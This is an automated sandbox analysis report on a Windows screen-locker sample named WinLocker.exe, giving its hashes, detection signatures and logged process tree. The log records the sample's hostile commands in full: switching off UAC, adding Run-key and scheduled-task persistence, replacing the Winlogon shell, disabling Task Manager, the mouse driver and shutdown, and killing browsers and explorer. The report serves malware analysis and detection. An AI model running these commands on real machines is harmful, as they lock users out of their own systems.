Analysis

  • max time kernel
    27s
  • max time network
    28s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/08/2024, 03:05

Errors

Reason
Machine shutdown

General

  • Target

    WinLocker.exe

  • Size

    51KB

  • MD5

    ef11087c3d5a51ee2a163673e0a2d945

  • SHA1

    76437300dea9d4ec25661cd4acaeb8b7142c996f

  • SHA256

    4dfb739b797ba68c266eaa5802404790f32a41155c7cf1559fd4b7174dd55471

  • SHA512

    621f98c8f3e89250967f5742bd4e15a1d76ca30c141ae771f713d998f7181b3069f6cfcd685a84a27fa5cd89e26f4c54c4281f275e89de8f6cd2ae0fccd28725

  • SSDEEP

    384:U6hgbJPtMyYRRUfZOI7ELTjjDCENXyu3bWCrWPWlR+ehoAi6gs:U1iBRKKdNXyurWiWPWlR+Or+s

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Disables Task Manager via registry modification
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 6 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of AdjustPrivilegeToken 8 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\WinLocker.exe
    "C:\Users\Admin\AppData\Local\Temp\WinLocker.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:116
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\mistake.vbs"
      2⤵
        PID:1144
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\WinBlocker.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4116
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM wscript.exe
          3⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:916
        • C:\Windows\system32\chcp.com
          chcp 65001
          3⤵
            PID:2396
          • C:\Windows\system32\taskkill.exe
            taskkill /F /IM explorer.exe
            3⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1632
          • C:\Windows\system32\reg.exe
            reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
            3⤵
            • UAC bypass
            PID:1252
          • C:\Windows\system32\cmd.exe
            cmd /c C:\Users\Admin\AppData\Local\Temp\admin.vbs
            3⤵
              PID:4592
            • C:\Windows\system32\reg.exe
              reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinBlocker.bat" /t REG_SZ /d "WinBlocker.bat" /f
              3⤵
              • Adds Run key to start application
              PID:1996
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn "WinBlocker.bat" /tr "WinBlocker.bat" /sc ONLOGON /rl HIGHEST /f
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1576
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM explorer.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:972
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM msedge.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4724
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM chrome.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4024
            • C:\Windows\system32\taskkill.exe
              taskkill /F /IM browser.exe
              3⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3544
            • C:\Windows\system32\reg.exe
              reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\WinBlocker.bat" /f
              3⤵
                PID:3140
              • C:\Windows\system32\reg.exe
                reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
                3⤵
                  PID:2704
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
                  3⤵
                    PID:64
                  • C:\Windows\system32\reg.exe
                    reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableShutdownButton /t REG_DWORD /d 1 /f
                    3⤵
                      PID:1020
                    • C:\Windows\system32\reg.exe
                      reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WinBlocker.bat" /f
                      3⤵
                        PID:1172
                      • C:\Windows\system32\schtasks.exe
                        schtasks /delete /tn "WinBlocker.bat" /f
                        3⤵
                          PID:5112
                        • C:\Windows\system32\reg.exe
                          reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /f
                          3⤵
                            PID:3104
                          • C:\Windows\system32\reg.exe
                            reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 3 /f
                            3⤵
                              PID:876
                            • C:\Windows\system32\reg.exe
                              reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableShutdownButton /f
                              3⤵
                                PID:1016
                              • C:\Windows\system32\shutdown.exe
                                shutdown.exe -r -f -t 00
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4940
                              • C:\Windows\system32\timeout.exe
                                TIMEOUT /T 1 /NOBREAK
                                3⤵
                                • Delays execution with timeout.exe
                                PID:3348
                          • C:\Windows\system32\LogonUI.exe
                            "LogonUI.exe" /flags:0x4 /state0:0xa39bf855 /state1:0x41c64e6d
                            1⤵
                            • Modifies data under HKEY_USERS
                            • Suspicious use of SetWindowsHookEx
                            PID:3052

                          Network

                                MITRE ATT&CK Enterprise v15

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                                Downloads

                                • C:\Users\Admin\AppData\Roaming\WinBlocker.bat

                                  Filesize

                                  3KB

                                  MD5

                                  a9db076ab7a8353f5780e4f886a05a00

                                  SHA1

                                  c5d63cbf5bf56af2b318567d9f569d0fa12b1089

                                  SHA256

                                  4af762b49d65c5dedc3c5bdb8612bb259f50bd6fd4ef2cd42d318d851e1fbb7c

                                  SHA512

                                  cb287d914dff629ec54badb33040390998a04c4f53b4448483546537aedc2bdd54f773f3624c5839f0de12083f8368444f04b79996435ad0f8403dec3a804852

                                • C:\Users\Admin\AppData\Roaming\mistake.vbs

                                  Filesize

                                  530B

                                  MD5

                                  c6d9d0f3fa69288ffa37204d896f2e61

                                  SHA1

                                  1c811c7015ec83cd31514775c0d54ac48eaa8e3b

                                  SHA256

                                  6ed74e29b9b099f70afac7725cf6d5465c78a669599f351837e38d1d3e8bcb98

                                  SHA512

                                  a9185bbd723ccda39203b8a12df43e97eed6d2e318dd734b8367d258aae88ab94c86966b1cdfc705d80f455e316c3154820f7b51694adb1c2cdad967731fd17a

                                • memory/116-0-0x00007FFA09743000-0x00007FFA09745000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/116-1-0x0000000000A50000-0x0000000000A62000-memory.dmp

                                  Filesize

                                  72KB